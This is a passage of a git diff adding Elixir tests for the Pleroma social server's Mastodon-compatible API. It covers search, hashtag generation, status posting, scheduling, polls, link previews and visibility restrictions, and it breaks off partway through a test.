%RuntimeError{message: \"Oops\"}" + end + end + + test "search", %{conn: conn} do + user = insert(:user) + user_two = insert(:user, %{nickname: "shp@shitposter.club"}) + user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) + + {:ok, activity} = CommonAPI.post(user, %{status: "This is about 2hu private 天子"}) + + {:ok, _activity} = + CommonAPI.post(user, %{ + status: "This is about 2hu, but private", + visibility: "private" + }) + + {:ok, _} = CommonAPI.post(user_two, %{status: "This isn't"}) + + results = + conn + |> get("/api/v2/search?#{URI.encode_query(%{q: "2hu #private"})}") + |> json_response_and_validate_schema(200) + + [account | _] = results["accounts"] + assert account["id"] == to_string(user_three.id) + + assert results["hashtags"] == [ + %{"name" => "private", "url" => "#{Web.base_url()}/tag/private"} + ] + + [status] = results["statuses"] + assert status["id"] == to_string(activity.id) + + results = + get(conn, "/api/v2/search?q=天子") + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "天子", "url" => "#{Web.base_url()}/tag/天子"} + ] + + [status] = results["statuses"] + assert status["id"] == to_string(activity.id) + end + + @tag capture_log: true + test "constructs hashtags from search query", %{conn: conn} do + results = + conn + |> get("/api/v2/search?#{URI.encode_query(%{q: "some text with #explicit #hashtags"})}") + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "explicit", "url" => "#{Web.base_url()}/tag/explicit"}, + %{"name" => "hashtags", "url" => "#{Web.base_url()}/tag/hashtags"} + ] + + results = + conn + |> get("/api/v2/search?#{URI.encode_query(%{q: "john doe JOHN DOE"})}") + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "john", "url" => "#{Web.base_url()}/tag/john"}, + %{"name" => "doe", "url" => "#{Web.base_url()}/tag/doe"}, + %{"name" => "JohnDoe", "url" => "#{Web.base_url()}/tag/JohnDoe"} + ] + + results = + conn + |> get("/api/v2/search?#{URI.encode_query(%{q: "accident-prone"})}") + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "accident", "url" => "#{Web.base_url()}/tag/accident"}, + %{"name" => "prone", "url" => "#{Web.base_url()}/tag/prone"}, + %{"name" => "AccidentProne", "url" => "#{Web.base_url()}/tag/AccidentProne"} + ] + + results = + conn + |> get("/api/v2/search?#{URI.encode_query(%{q: "https://shpposter.club/users/shpuld"})}") + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "shpuld", "url" => "#{Web.base_url()}/tag/shpuld"} + ] + + results = + conn + |> get( + "/api/v2/search?#{ + URI.encode_query(%{ + q: + "https://www.washingtonpost.com/sports/2020/06/10/" <> + "nascar-ban-display-confederate-flag-all-events-properties/" + }) + }" + ) + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "nascar", "url" => "#{Web.base_url()}/tag/nascar"}, + %{"name" => "ban", "url" => "#{Web.base_url()}/tag/ban"}, + %{"name" => "display", "url" => "#{Web.base_url()}/tag/display"}, + %{"name" => "confederate", "url" => "#{Web.base_url()}/tag/confederate"}, + %{"name" => "flag", "url" => "#{Web.base_url()}/tag/flag"}, + %{"name" => "all", "url" => "#{Web.base_url()}/tag/all"}, + %{"name" => "events", "url" => "#{Web.base_url()}/tag/events"}, + %{"name" => "properties", "url" => "#{Web.base_url()}/tag/properties"}, + %{ + "name" => "NascarBanDisplayConfederateFlagAllEventsProperties", + "url" => + "#{Web.base_url()}/tag/NascarBanDisplayConfederateFlagAllEventsProperties" + } + ] + end + + test "supports pagination of hashtags search results", %{conn: conn} do + results = + conn + |> get( + "/api/v2/search?#{ + URI.encode_query(%{q: "#some #text #with #hashtags", limit: 2, offset: 1}) + }" + ) + |> json_response_and_validate_schema(200) + + assert results["hashtags"] == [ + %{"name" => "text", "url" => "#{Web.base_url()}/tag/text"}, + %{"name" => "with", "url" => "#{Web.base_url()}/tag/with"} + ] + end + + test "excludes a blocked users from search results", %{conn: conn} do + user = insert(:user) + user_smith = insert(:user, %{nickname: "Agent", name: "I love 2hu"}) + user_neo = insert(:user, %{nickname: "Agent Neo", name: "Agent"}) + + {:ok, act1} = CommonAPI.post(user, %{status: "This is about 2hu private 天子"}) + {:ok, act2} = CommonAPI.post(user_smith, %{status: "Agent Smith"}) + {:ok, act3} = CommonAPI.post(user_neo, %{status: "Agent Smith"}) + Pleroma.User.block(user, user_smith) + + results = + conn + |> assign(:user, user) + |> assign(:token, insert(:oauth_token, user: user, scopes: ["read"])) + |> get("/api/v2/search?q=Agent") + |> json_response_and_validate_schema(200) + + status_ids = Enum.map(results["statuses"], fn g -> g["id"] end) + + assert act3.id in status_ids + refute act2.id in status_ids + refute act1.id in status_ids + end + end + + describe ".account_search" do + test "account search", %{conn: conn} do + user_two = insert(:user, %{nickname: "shp@shitposter.club"}) + user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) + + results = + conn + |> get("/api/v1/accounts/search?q=shp") + |> json_response_and_validate_schema(200) + + result_ids = for result <- results, do: result["acct"] + + assert user_two.nickname in result_ids + assert user_three.nickname in result_ids + + results = + conn + |> get("/api/v1/accounts/search?q=2hu") + |> json_response_and_validate_schema(200) + + result_ids = for result <- results, do: result["acct"] + + assert user_three.nickname in result_ids + end + + test "returns account if query contains a space", %{conn: conn} do + insert(:user, %{nickname: "shp@shitposter.club"}) + + results = + conn + |> get("/api/v1/accounts/search?q=shp@shitposter.club xxx") + |> json_response_and_validate_schema(200) + + assert length(results) == 1 + end + end + + describe ".search" do + test "it returns empty result if user or status search return undefined error", %{conn: conn} do + with_mocks [ + {Pleroma.User, [], [search: fn _q, _o -> raise "Oops" end]}, + {Pleroma.Activity, [], [search: fn _u, _q, _o -> raise "Oops" end]} + ] do + capture_log(fn -> + results = + conn + |> get("/api/v1/search?q=2hu") + |> json_response_and_validate_schema(200) + + assert results["accounts"] == [] + assert results["statuses"] == [] + end) =~ + "[error] Elixir.Pleroma.Web.MastodonAPI.SearchController search error: %RuntimeError{message: \"Oops\"}" + end + end + + test "search", %{conn: conn} do + user = insert(:user) + user_two = insert(:user, %{nickname: "shp@shitposter.club"}) + user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) + + {:ok, activity} = CommonAPI.post(user, %{status: "This is about 2hu"}) + + {:ok, _activity} = + CommonAPI.post(user, %{ + status: "This is about 2hu, but private", + visibility: "private" + }) + + {:ok, _} = CommonAPI.post(user_two, %{status: "This isn't"}) + + results = + conn + |> get("/api/v1/search?q=2hu") + |> json_response_and_validate_schema(200) + + [account | _] = results["accounts"] + assert account["id"] == to_string(user_three.id) + + assert results["hashtags"] == ["2hu"] + + [status] = results["statuses"] + assert status["id"] == to_string(activity.id) + end + + test "search fetches remote statuses and prefers them over other results", %{conn: conn} do + capture_log(fn -> + {:ok, %{id: activity_id}} = + CommonAPI.post(insert(:user), %{ + status: "check out http://mastodon.example.org/@admin/99541947525187367" + }) + + results = + conn + |> get("/api/v1/search?q=http://mastodon.example.org/@admin/99541947525187367") + |> json_response_and_validate_schema(200) + + assert [ + %{"url" => "http://mastodon.example.org/@admin/99541947525187367"}, + %{"id" => ^activity_id} + ] = results["statuses"] + end) + end + + test "search doesn't show statuses that it shouldn't", %{conn: conn} do + {:ok, activity} = + CommonAPI.post(insert(:user), %{ + status: "This is about 2hu, but private", + visibility: "private" + }) + + capture_log(fn -> + q = Object.normalize(activity).data["id"] + + results = + conn + |> get("/api/v1/search?q=#{q}") + |> json_response_and_validate_schema(200) + + [] = results["statuses"] + end) + end + + test "search fetches remote accounts", %{conn: conn} do + user = insert(:user) + + query = URI.encode_query(%{q: " mike@osada.macgirvin.com ", resolve: true}) + + results = + conn + |> assign(:user, user) + |> assign(:token, insert(:oauth_token, user: user, scopes: ["read"])) + |> get("/api/v1/search?#{query}") + |> json_response_and_validate_schema(200) + + [account] = results["accounts"] + assert account["acct"] == "mike@osada.macgirvin.com" + end + + test "search doesn't fetch remote accounts if resolve is false", %{conn: conn} do + results = + conn + |> get("/api/v1/search?q=mike@osada.macgirvin.com&resolve=false") + |> json_response_and_validate_schema(200) + + assert [] == results["accounts"] + end + + test "search with limit and offset", %{conn: conn} do + user = insert(:user) + _user_two = insert(:user, %{nickname: "shp@shitposter.club"}) + _user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) + + {:ok, _activity1} = CommonAPI.post(user, %{status: "This is about 2hu"}) + {:ok, _activity2} = CommonAPI.post(user, %{status: "This is also about 2hu"}) + + result = + conn + |> get("/api/v1/search?q=2hu&limit=1") + + assert results = json_response_and_validate_schema(result, 200) + assert [%{"id" => activity_id1}] = results["statuses"] + assert [_] = results["accounts"] + + results = + conn + |> get("/api/v1/search?q=2hu&limit=1&offset=1") + |> json_response_and_validate_schema(200) + + assert [%{"id" => activity_id2}] = results["statuses"] + assert [] = results["accounts"] + + assert activity_id1 != activity_id2 + end + + test "search returns results only for the given type", %{conn: conn} do + user = insert(:user) + _user_two = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) + + {:ok, _activity} = CommonAPI.post(user, %{status: "This is about 2hu"}) + + assert %{"statuses" => [_activity], "accounts" => [], "hashtags" => []} = + conn + |> get("/api/v1/search?q=2hu&type=statuses") + |> json_response_and_validate_schema(200) + + assert %{"statuses" => [], "accounts" => [_user_two], "hashtags" => []} = + conn + |> get("/api/v1/search?q=2hu&type=accounts") + |> json_response_and_validate_schema(200) + end + + test "search uses account_id to filter statuses by the author", %{conn: conn} do + user = insert(:user, %{nickname: "shp@shitposter.club"}) + user_two = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) + + {:ok, activity1} = CommonAPI.post(user, %{status: "This is about 2hu"}) + {:ok, activity2} = CommonAPI.post(user_two, %{status: "This is also about 2hu"}) + + results = + conn + |> get("/api/v1/search?q=2hu&account_id=#{user.id}") + |> json_response_and_validate_schema(200) + + assert [%{"id" => activity_id1}] = results["statuses"] + assert activity_id1 == activity1.id + assert [_] = results["accounts"] + + results = + conn + |> get("/api/v1/search?q=2hu&account_id=#{user_two.id}") + |> json_response_and_validate_schema(200) + + assert [%{"id" => activity_id2}] = results["statuses"] + assert activity_id2 == activity2.id + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs new file mode 100644 index 000000000..633a25e50 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs @@ -0,0 +1,1743 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do + use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.Conversation.Participation + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.ScheduledActivity + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup do: clear_config([:instance, :federating]) + setup do: clear_config([:instance, :allow_relay]) + setup do: clear_config([:rich_media, :enabled]) + setup do: clear_config([:mrf, :policies]) + setup do: clear_config([:mrf_keyword, :reject]) + + describe "posting statuses" do + setup do: oauth_access(["write:statuses"]) + + test "posting a status does not increment reblog_count when relaying", %{conn: conn} do + Config.put([:instance, :federating], true) + Config.get([:instance, :allow_relay], true) + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{ + "content_type" => "text/plain", + "source" => "Pleroma FE", + "status" => "Hello world", + "visibility" => "public" + }) + |> json_response_and_validate_schema(200) + + assert response["reblogs_count"] == 0 + ObanHelpers.perform_all() + + response = + conn + |> get("api/v1/statuses/#{response["id"]}", %{}) + |> json_response_and_validate_schema(200) + + assert response["reblogs_count"] == 0 + end + + test "posting a status", %{conn: conn} do + idempotency_key = "Pikachu rocks!" + + conn_one = + conn + |> put_req_header("content-type", "application/json") + |> put_req_header("idempotency-key", idempotency_key) + |> post("/api/v1/statuses", %{ + "status" => "cofe", + "spoiler_text" => "2hu", + "sensitive" => "0" + }) + + {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key) + # Six hours + assert ttl > :timer.seconds(6 * 60 * 60 - 1) + + assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} = + json_response_and_validate_schema(conn_one, 200) + + assert Activity.get_by_id(id) + + conn_two = + conn + |> put_req_header("content-type", "application/json") + |> put_req_header("idempotency-key", idempotency_key) + |> post("/api/v1/statuses", %{ + "status" => "cofe", + "spoiler_text" => "2hu", + "sensitive" => 0 + }) + + assert %{"id" => second_id} = json_response(conn_two, 200) + assert id == second_id + + conn_three = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "cofe", + "spoiler_text" => "2hu", + "sensitive" => "False" + }) + + assert %{"id" => third_id} = json_response_and_validate_schema(conn_three, 200) + refute id == third_id + + # An activity that will expire: + # 2 hours + expires_in = 2 * 60 * 60 + + expires_at = DateTime.add(DateTime.utc_now(), expires_in) + + conn_four = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{ + "status" => "oolong", + "expires_in" => expires_in + }) + + assert %{"id" => fourth_id} = json_response_and_validate_schema(conn_four, 200) + + assert Activity.get_by_id(fourth_id) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: fourth_id}, + scheduled_at: expires_at + ) + end + + test "it fails to create a status if `expires_in` is less or equal than an hour", %{ + conn: conn + } do + # 1 minute + expires_in = 1 * 60 + + assert %{"error" => "Expiry date is too soon"} = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{ + "status" => "oolong", + "expires_in" => expires_in + }) + |> json_response_and_validate_schema(422) + + # 5 minutes + expires_in = 5 * 60 + + assert %{"error" => "Expiry date is too soon"} = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{ + "status" => "oolong", + "expires_in" => expires_in + }) + |> json_response_and_validate_schema(422) + end + + test "Get MRF reason when posting a status is rejected by one", %{conn: conn} do + Config.put([:mrf_keyword, :reject], ["GNO"]) + Config.put([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{"status" => "GNO/Linux"}) + |> json_response_and_validate_schema(422) + end + + test "posting an undefined status with an attachment", %{user: user, conn: conn} do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "media_ids" => [to_string(upload.id)] + }) + + assert json_response_and_validate_schema(conn, 200) + end + + test "replying to a status", %{user: user, conn: conn} do + {:ok, replied_to} = CommonAPI.post(user, %{status: "cofe"}) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) + + assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn, 200) + + activity = Activity.get_by_id(id) + + assert activity.data["context"] == replied_to.data["context"] + assert Activity.get_in_reply_to_activity(activity).id == replied_to.id + end + + test "replying to a direct message with visibility other than direct", %{ + user: user, + conn: conn + } do + {:ok, replied_to} = CommonAPI.post(user, %{status: "suya..", visibility: "direct"}) + + Enum.each(["public", "private", "unlisted"], fn visibility -> + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "@#{user.nickname} hey", + "in_reply_to_id" => replied_to.id, + "visibility" => visibility + }) + + assert json_response_and_validate_schema(conn, 422) == %{ + "error" => "The message visibility must be direct" + } + end) + end + + test "posting a status with an invalid in_reply_to_id", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""}) + + assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn, 200) + assert Activity.get_by_id(id) + end + + test "posting a sensitive status", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true}) + + assert %{"content" => "cofe", "id" => id, "sensitive" => true} = + json_response_and_validate_schema(conn, 200) + + assert Activity.get_by_id(id) + end + + test "posting a fake status", %{conn: conn} do + real_conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => + "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it" + }) + + real_status = json_response_and_validate_schema(real_conn, 200) + + assert real_status + assert Object.get_by_ap_id(real_status["uri"]) + + real_status = + real_status + |> Map.put("id", nil) + |> Map.put("url", nil) + |> Map.put("uri", nil) + |> Map.put("created_at", nil) + |> Kernel.put_in(["pleroma", "conversation_id"], nil) + + fake_conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => + "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it", + "preview" => true + }) + + fake_status = json_response_and_validate_schema(fake_conn, 200) + + assert fake_status + refute Object.get_by_ap_id(fake_status["uri"]) + + fake_status = + fake_status + |> Map.put("id", nil) + |> Map.put("url", nil) + |> Map.put("uri", nil) + |> Map.put("created_at", nil) + |> Kernel.put_in(["pleroma", "conversation_id"], nil) + + assert real_status == fake_status + end + + test "fake statuses' preview card is not cached", %{conn: conn} do + clear_config([:rich_media, :enabled], true) + + Tesla.Mock.mock(fn + %{ + method: :get, + url: "https://example.com/twitter-card" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/twitter_card.html")} + + env -> + apply(HttpRequestMock, :request, [env]) + end) + + conn1 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "https://example.com/ogp", + "preview" => true + }) + + conn2 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "https://example.com/twitter-card", + "preview" => true + }) + + assert %{"card" => %{"title" => "The Rock"}} = json_response_and_validate_schema(conn1, 200) + + assert %{"card" => %{"title" => "Small Island Developing States Photo Submission"}} = + json_response_and_validate_schema(conn2, 200) + end + + test "posting a status with OGP link preview", %{conn: conn} do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + clear_config([:rich_media, :enabled], true) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "https://example.com/ogp" + }) + + assert %{"id" => id, "card" => %{"title" => "The Rock"}} = + json_response_and_validate_schema(conn, 200) + + assert Activity.get_by_id(id) + end + + test "posting a direct status", %{conn: conn} do + user2 = insert(:user) + content = "direct cofe @#{user2.nickname}" + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"}) + + assert %{"id" => id} = response = json_response_and_validate_schema(conn, 200) + assert response["visibility"] == "direct" + assert response["pleroma"]["direct_conversation_id"] + assert activity = Activity.get_by_id(id) + assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id] + assert activity.data["to"] == [user2.ap_id] + assert activity.data["cc"] == [] + end + end + + describe "posting scheduled statuses" do + setup do: oauth_access(["write:statuses"]) + + test "creates a scheduled activity", %{conn: conn} do + scheduled_at = + NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) + |> NaiveDateTime.to_iso8601() + |> Kernel.<>("Z") + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "scheduled", + "scheduled_at" => scheduled_at + }) + + assert %{"scheduled_at" => expected_scheduled_at} = + json_response_and_validate_schema(conn, 200) + + assert expected_scheduled_at == CommonAPI.Utils.to_masto_date(scheduled_at) + assert [] == Repo.all(Activity) + end + + test "ignores nil values", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "not scheduled", + "scheduled_at" => nil + }) + + assert result = json_response_and_validate_schema(conn, 200) + assert Activity.get_by_id(result["id"]) + end + + test "creates a scheduled activity with a media attachment", %{user: user, conn: conn} do + scheduled_at = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(120), :millisecond) + |> NaiveDateTime.to_iso8601() + |> Kernel.<>("Z") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "media_ids" => [to_string(upload.id)], + "status" => "scheduled", + "scheduled_at" => scheduled_at + }) + + assert %{"media_attachments" => [media_attachment]} = + json_response_and_validate_schema(conn, 200) + + assert %{"type" => "image"} = media_attachment + end + + test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now", + %{conn: conn} do + scheduled_at = + NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond) + |> NaiveDateTime.to_iso8601() + |> Kernel.<>("Z") + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "not scheduled", + "scheduled_at" => scheduled_at + }) + + assert %{"content" => "not scheduled"} = json_response_and_validate_schema(conn, 200) + assert [] == Repo.all(ScheduledActivity) + end + + test "returns error when daily user limit is exceeded", %{user: user, conn: conn} do + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + # TODO + |> Kernel.<>("Z") + + attrs = %{params: %{}, scheduled_at: today} + {:ok, _} = ScheduledActivity.create(user, attrs) + {:ok, _} = ScheduledActivity.create(user, attrs) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today}) + + assert %{"error" => "daily limit exceeded"} == json_response_and_validate_schema(conn, 422) + end + + test "returns error when total user limit is exceeded", %{user: user, conn: conn} do + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + |> Kernel.<>("Z") + + tomorrow = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.hours(36), :millisecond) + |> NaiveDateTime.to_iso8601() + |> Kernel.<>("Z") + + attrs = %{params: %{}, scheduled_at: today} + {:ok, _} = ScheduledActivity.create(user, attrs) + {:ok, _} = ScheduledActivity.create(user, attrs) + {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow}) + + assert %{"error" => "total limit exceeded"} == json_response_and_validate_schema(conn, 422) + end + end + + describe "posting polls" do + setup do: oauth_access(["write:statuses"]) + + test "posting a poll", %{conn: conn} do + time = NaiveDateTime.utc_now() + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "Who is the #bestgrill?", + "poll" => %{ + "options" => ["Rei", "Asuka", "Misato"], + "expires_in" => 420 + } + }) + + response = json_response_and_validate_schema(conn, 200) + + assert Enum.all?(response["poll"]["options"], fn %{"title" => title} -> + title in ["Rei", "Asuka", "Misato"] + end) + + assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430 + refute response["poll"]["expred"] + + question = Object.get_by_id(response["poll"]["id"]) + + # closed contains utc timezone + assert question.data["closed"] =~ "Z" + end + + test "option limit is enforced", %{conn: conn} do + limit = Config.get([:instance, :poll_limits, :max_options]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "desu~", + "poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1} + }) + + %{"error" => error} = json_response_and_validate_schema(conn, 422) + assert error == "Poll can't contain more than #{limit} options" + end + + test "option character limit is enforced", %{conn: conn} do + limit = Config.get([:instance, :poll_limits, :max_option_chars]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "...", + "poll" => %{ + "options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)], + "expires_in" => 1 + } + }) + + %{"error" => error} = json_response_and_validate_schema(conn, 422) + assert error == "Poll options cannot be longer than #{limit} characters each" + end + + test "minimal date limit is enforced", %{conn: conn} do + limit = Config.get([:instance, :poll_limits, :min_expiration]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "imagine arbitrary limits", + "poll" => %{ + "options" => ["this post was made by pleroma gang"], + "expires_in" => limit - 1 + } + }) + + %{"error" => error} = json_response_and_validate_schema(conn, 422) + assert error == "Expiration date is too soon" + end + + test "maximum date limit is enforced", %{conn: conn} do + limit = Config.get([:instance, :poll_limits, :max_expiration]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "imagine arbitrary limits", + "poll" => %{ + "options" => ["this post was made by pleroma gang"], + "expires_in" => limit + 1 + } + }) + + %{"error" => error} = json_response_and_validate_schema(conn, 422) + assert error == "Expiration date is too far in the future" + end + end + + test "get a status" do + %{conn: conn} = oauth_access(["read:statuses"]) + activity = insert(:note_activity) + + conn = get(conn, "/api/v1/statuses/#{activity.id}") + + assert %{"id" => id} = json_response_and_validate_schema(conn, 200) + assert id == to_string(activity.id) + end + + defp local_and_remote_activities do + local = insert(:note_activity) + remote = insert(:note_activity, local: false) + {:ok, local: local, remote: remote} + end + + describe "status with restrict unauthenticated activities for local and remote" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) + + setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/statuses/#{local.id}") + + assert json_response_and_validate_schema(res_conn, :not_found) == %{ + "error" => "Record not found" + } + + res_conn = get(conn, "/api/v1/statuses/#{remote.id}") + + assert json_response_and_validate_schema(res_conn, :not_found) == %{ + "error" => "Record not found" + } + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + res_conn = get(conn, "/api/v1/statuses/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/statuses/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + end + + describe "status with restrict unauthenticated activities for local" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/statuses/#{local.id}") + + assert json_response_and_validate_schema(res_conn, :not_found) == %{ + "error" => "Record not found" + } + + res_conn = get(conn, "/api/v1/statuses/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + res_conn = get(conn, "/api/v1/statuses/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/statuses/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + end + + describe "status with restrict unauthenticated activities for remote" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/statuses/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/statuses/#{remote.id}") + + assert json_response_and_validate_schema(res_conn, :not_found) == %{ + "error" => "Record not found" + } + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + res_conn = get(conn, "/api/v1/statuses/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/statuses/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + end + + test "getting a status that doesn't exist returns 404" do + %{conn: conn} = oauth_access(["read:statuses"]) + activity = insert(:note_activity) + + conn = get(conn, "/api/v1/statuses/#{String.downcase(activity.id)}") + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + + test "get a direct status" do + %{user: user, conn: conn} = oauth_access(["read:statuses"]) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{status: "@#{other_user.nickname}", visibility: "direct"}) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/statuses/#{activity.id}") + + [participation] = Participation.for_user(user) + + res = json_response_and_validate_schema(conn, 200) + assert res["pleroma"]["direct_conversation_id"] == participation.id + end + + test "get statuses by IDs" do + %{conn: conn} = oauth_access(["read:statuses"]) + %{id: id1} = insert(:note_activity) + %{id: id2} = insert(:note_activity) + + query_string = "ids[]=#{id1}&ids[]=#{id2}" + conn = get(conn, "/api/v1/statuses/?#{query_string}") + + assert [%{"id" => ^id1}, %{"id" => ^id2}] = + Enum.sort_by(json_response_and_validate_schema(conn, :ok), & &1["id"]) + end + + describe "getting statuses by ids with restricted unauthenticated for local and remote" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) + + setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) + + test "if user is 